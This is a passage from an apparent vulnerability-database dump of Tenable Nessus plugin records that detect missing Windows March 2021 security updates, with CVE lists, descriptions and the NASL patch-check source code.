value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000803'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n sp:0,\n os_build:'14393',\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000803])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:25:29", "description": "The remote Windows host is missing security update 5000802.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-1729, CVE-2021-24090, CVE-2021-24095, CVE-2021-26860, CVE-2021-26862, CVE-2021-26863, CVE-2021-26864, CVE-2021-26865, CVE-2021-26866, CVE-2021-26868, CVE-2021-26870, CVE-2021-26871, CVE-2021-26872, CVE-2021-26873, CVE-2021-26874, CVE-2021-26875, CVE-2021-26878, CVE-2021-26880, CVE-2021-26882, CVE-2021-26885, CVE-2021-26889, CVE-2021-26891, CVE-2021-26898, CVE-2021-26899, CVE-2021-26900, CVE-2021-26901, CVE-2021-27070, CVE-2021-27077)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869, CVE-2021-26884)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26867, CVE-2021-26876, CVE-2021-26881, CVE-2021-26890, CVE-2021-27085)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26879, CVE-2021-26886)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A security feature bypass vulnerability exists. An attacker can exploit this and bypass the security feature and perform unauthorized actions compromising the integrity of the system/application.\n (CVE-2021-26892)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000802: Windows Security Update (March 2021)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-1729", "CVE-2021-24090", "CVE-2021-24095", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26860", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26863", "CVE-2021-26864", "CVE-2021-26865", "CVE-2021-26866", "CVE-2021-26867", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26870", "CVE-2021-26871", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26874", "CVE-2021-26875", "CVE-2021-26876", "CVE-2021-26878", "CVE-2021-26879", "CVE-2021-26880", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26885", "CVE-2021-26886", "CVE-2021-26889", "CVE-2021-26890", "CVE-2021-26891", "CVE-2021-26892", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26900", "CVE-2021-26901", "CVE-2021-27070", "CVE-2021-27077", "CVE-2021-27085"], "modified": "2023-02-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000802.NASL", "href": "https://www.tenable.com/plugins/nessus/147226", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147226);\n script_version(\"1.18\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/03\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-1729\",\n \"CVE-2021-24090\",\n \"CVE-2021-24095\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26860\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26863\",\n \"CVE-2021-26864\",\n \"CVE-2021-26865\",\n \"CVE-2021-26866\",\n \"CVE-2021-26867\",\n \"CVE-2021-26868\",\n \"CVE-2021-26869\",\n \"CVE-2021-26870\",\n \"CVE-2021-26871\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26874\",\n \"CVE-2021-26875\",\n \"CVE-2021-26876\",\n \"CVE-2021-26878\",\n \"CVE-2021-26879\",\n \"CVE-2021-26880\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26884\",\n \"CVE-2021-26885\",\n \"CVE-2021-26886\",\n \"CVE-2021-26889\",\n \"CVE-2021-26890\",\n \"CVE-2021-26891\",\n \"CVE-2021-26892\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26900\",\n \"CVE-2021-26901\",\n \"CVE-2021-27070\",\n \"CVE-2021-27077\",\n \"CVE-2021-27085\"\n );\n script_xref(name:\"MSKB\", value:\"5000802\");\n script_xref(name:\"MSFT\", value:\"MS21-5000802\");\n script_xref(name:\"IAVA\", value:\"2021-A-0129-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0131-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000802: Windows Security Update (March 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000802.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-1729, CVE-2021-24090,\n CVE-2021-24095, CVE-2021-26860, CVE-2021-26862,\n CVE-2021-26863, CVE-2021-26864, CVE-2021-26865,\n CVE-2021-26866, CVE-2021-26868, CVE-2021-26870,\n CVE-2021-26871, CVE-2021-26872, CVE-2021-26873,\n CVE-2021-26874, CVE-2021-26875, CVE-2021-26878,\n CVE-2021-26880, CVE-2021-26882, CVE-2021-26885,\n CVE-2021-26889, CVE-2021-26891, CVE-2021-26898,\n CVE-2021-26899, CVE-2021-26900, CVE-2021-26901,\n CVE-2021-27070, CVE-2021-27077)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869,\n CVE-2021-26884)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26867, CVE-2021-26876, CVE-2021-26881,\n CVE-2021-26890, CVE-2021-27085)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26879,\n CVE-2021-26886)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A security feature bypass vulnerability exists. An\n attacker can exploit this and bypass the security\n feature and perform unauthorized actions compromising\n the integrity of the system/application.\n (CVE-2021-26892)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000802-os-builds-19041-867-and-19042-867-63552d64-fe44-4132-8813-ef56d3626e14\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?8437e591\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update KB5000802.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-27070\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-26881\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000802'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n sp:0,\n os_build:'19041',\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000802])\n|| \n smb_check_rollup(os:'10',\n sp:0,\n os_build:'19042',\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000802])\n\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:25:29", "description": "The remote Windows host is missing security update 5000808.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-1729, CVE-2021-24090, CVE-2021-24095, CVE-2021-26860, CVE-2021-26862, CVE-2021-26863, CVE-2021-26864, CVE-2021-26865, CVE-2021-26866, CVE-2021-26868, CVE-2021-26870, CVE-2021-26871, CVE-2021-26872, CVE-2021-26873, CVE-2021-26874, CVE-2021-26875, CVE-2021-26878, CVE-2021-26880, CVE-2021-26882, CVE-2021-26885, CVE-2021-26889, CVE-2021-26891, CVE-2021-26898, CVE-2021-26899, CVE-2021-26900, CVE-2021-26901, CVE-2021-27077)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869, CVE-2021-26884)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26867, CVE-2021-26876, CVE-2021-26881, CVE-2021-26890, CVE-2021-27085)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26879, CVE-2021-26886)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A security feature bypass vulnerability exists. An attacker can exploit this and bypass the security feature and perform unauthorized actions compromising the integrity of the system/application.\n (CVE-2021-26892)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000808: Windows 10 Version 1909 March 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-1729", "CVE-2021-24090", "CVE-2021-24095", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26860", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26863", "CVE-2021-26864", "CVE-2021-26865", "CVE-2021-26866", "CVE-2021-26867", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26870", "CVE-2021-26871", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26874", "CVE-2021-26875", "CVE-2021-26876", "CVE-2021-26878", "CVE-2021-26879", "CVE-2021-26880", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26885", "CVE-2021-26886", "CVE-2021-26889", "CVE-2021-26890", "CVE-2021-26891", "CVE-2021-26892", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26900", "CVE-2021-26901", "CVE-2021-27077", "CVE-2021-27085"], "modified": "2023-02-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000808.NASL", "href": "https://www.tenable.com/plugins/nessus/147220", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147220);\n script_version(\"1.18\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/03\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-1729\",\n \"CVE-2021-24090\",\n \"CVE-2021-24095\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26860\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26863\",\n \"CVE-2021-26864\",\n \"CVE-2021-26865\",\n \"CVE-2021-26866\",\n \"CVE-2021-26867\",\n \"CVE-2021-26868\",\n \"CVE-2021-26869\",\n \"CVE-2021-26870\",\n \"CVE-2021-26871\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26874\",\n \"CVE-2021-26875\",\n \"CVE-2021-26876\",\n \"CVE-2021-26878\",\n \"CVE-2021-26879\",\n \"CVE-2021-26880\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26884\",\n \"CVE-2021-26885\",\n \"CVE-2021-26886\",\n \"CVE-2021-26889\",\n \"CVE-2021-26890\",\n \"CVE-2021-26891\",\n \"CVE-2021-26892\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26900\",\n \"CVE-2021-26901\",\n \"CVE-2021-27077\",\n \"CVE-2021-27085\"\n );\n script_xref(name:\"MSKB\", value:\"5000808\");\n script_xref(name:\"MSFT\", value:\"MS21-5000808\");\n script_xref(name:\"IAVA\", value:\"2021-A-0129-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0131-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000808: Windows 10 Version 1909 March 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000808.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-1729, CVE-2021-24090,\n CVE-2021-24095, CVE-2021-26860, CVE-2021-26862,\n CVE-2021-26863, CVE-2021-26864, CVE-2021-26865,\n CVE-2021-26866, CVE-2021-26868, CVE-2021-26870,\n CVE-2021-26871, CVE-2021-26872, CVE-2021-26873,\n CVE-2021-26874, CVE-2021-26875, CVE-2021-26878,\n CVE-2021-26880, CVE-2021-26882, CVE-2021-26885,\n CVE-2021-26889, CVE-2021-26891, CVE-2021-26898,\n CVE-2021-26899, CVE-2021-26900, CVE-2021-26901,\n CVE-2021-27077)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869,\n CVE-2021-26884)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26867, CVE-2021-26876, CVE-2021-26881,\n CVE-2021-26890, CVE-2021-27085)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26879,\n CVE-2021-26886)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A security feature bypass vulnerability exists. An\n attacker can exploit this and bypass the security\n feature and perform unauthorized actions compromising\n the integrity of the system/application.\n (CVE-2021-26892)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000808-os-build-18363-1440-6989940a-252d-48f3-a2a7-a42bf19fa2c8\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?c8c6d108\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update KB5000808.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-24090\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-26881\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000808'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n sp:0,\n os_build:'18363',\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000808])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:26:44", "description": "The remote Windows host is missing security update 5000822.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-1729, CVE-2021-24095, CVE-2021-26860, CVE-2021-26862, CVE-2021-26863, CVE-2021-26864, CVE-2021-26865, CVE-2021-26866, CVE-2021-26868, CVE-2021-26870, CVE-2021-26872, CVE-2021-26873, CVE-2021-26874, CVE-2021-26875, CVE-2021-26878, CVE-2021-26880, CVE-2021-26882, CVE-2021-26889, CVE-2021-26891, CVE-2021-26898, CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869, CVE-2021-26884)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26876, CVE-2021-26877, CVE-2021-26881, CVE-2021-26890, CVE-2021-26893, CVE-2021-26894, CVE-2021-26895, CVE-2021-26897, CVE-2021-27085)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26879, CVE-2021-26886, CVE-2021-26896, CVE-2021-27063)\n\n - A security feature bypass vulnerability exists. An attacker can exploit this and bypass the security feature and perform unauthorized actions compromising the integrity of the system/application.\n (CVE-2021-26892)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000822: Windows 10 Version 1809 and Windows Server 2019 March 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-1729", "CVE-2021-24095", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26860", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26863", "CVE-2021-26864", "CVE-2021-26865", "CVE-2021-26866", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26870", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26874", "CVE-2021-26875", "CVE-2021-26876", "CVE-2021-26877", "CVE-2021-26878", "CVE-2021-26879", "CVE-2021-26880", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26886", "CVE-2021-26889", "CVE-2021-26890", "CVE-2021-26891", "CVE-2021-26892", "CVE-2021-26893", "CVE-2021-26894", "CVE-2021-26895", "CVE-2021-26896", "CVE-2021-26897", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27063", "CVE-2021-27077", "CVE-2021-27085"], "modified": "2023-02-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000822.NASL", "href": "https://www.tenable.com/plugins/nessus/147223", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147223);\n script_version(\"1.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/03\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-1729\",\n \"CVE-2021-24095\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26860\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26863\",\n \"CVE-2021-26864\",\n \"CVE-2021-26865\",\n \"CVE-2021-26866\",\n \"CVE-2021-26868\",\n \"CVE-2021-26869\",\n \"CVE-2021-26870\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26874\",\n \"CVE-2021-26875\",\n \"CVE-2021-26876\",\n \"CVE-2021-26877\",\n \"CVE-2021-26878\",\n \"CVE-2021-26879\",\n \"CVE-2021-26880\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26884\",\n \"CVE-2021-26886\",\n \"CVE-2021-26889\",\n \"CVE-2021-26890\",\n \"CVE-2021-26891\",\n \"CVE-2021-26892\",\n \"CVE-2021-26893\",\n \"CVE-2021-26894\",\n \"CVE-2021-26895\",\n \"CVE-2021-26896\",\n \"CVE-2021-26897\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26901\",\n \"CVE-2021-27063\",\n \"CVE-2021-27077\",\n \"CVE-2021-27085\"\n );\n script_xref(name:\"MSKB\", value:\"5000822\");\n script_xref(name:\"MSFT\", value:\"MS21-5000822\");\n script_xref(name:\"IAVA\", value:\"2021-A-0129-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0131-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000822: Windows 10 Version 1809 and Windows Server 2019 March 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000822.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-1729, CVE-2021-24095,\n CVE-2021-26860, CVE-2021-26862, CVE-2021-26863,\n CVE-2021-26864, CVE-2021-26865, CVE-2021-26866,\n CVE-2021-26868, CVE-2021-26870, CVE-2021-26872,\n CVE-2021-26873, CVE-2021-26874, CVE-2021-26875,\n CVE-2021-26878, CVE-2021-26880, CVE-2021-26882,\n CVE-2021-26889, CVE-2021-26891, CVE-2021-26898,\n CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869,\n CVE-2021-26884)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26876, CVE-2021-26877, CVE-2021-26881,\n CVE-2021-26890, CVE-2021-26893, CVE-2021-26894,\n CVE-2021-26895, CVE-2021-26897, CVE-2021-27085)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26879,\n CVE-2021-26886, CVE-2021-26896, CVE-2021-27063)\n\n - A security feature bypass vulnerability exists. An\n attacker can exploit this and bypass the security\n feature and perform unauthorized actions compromising\n the integrity of the system/application.\n (CVE-2021-26892)\");\n # 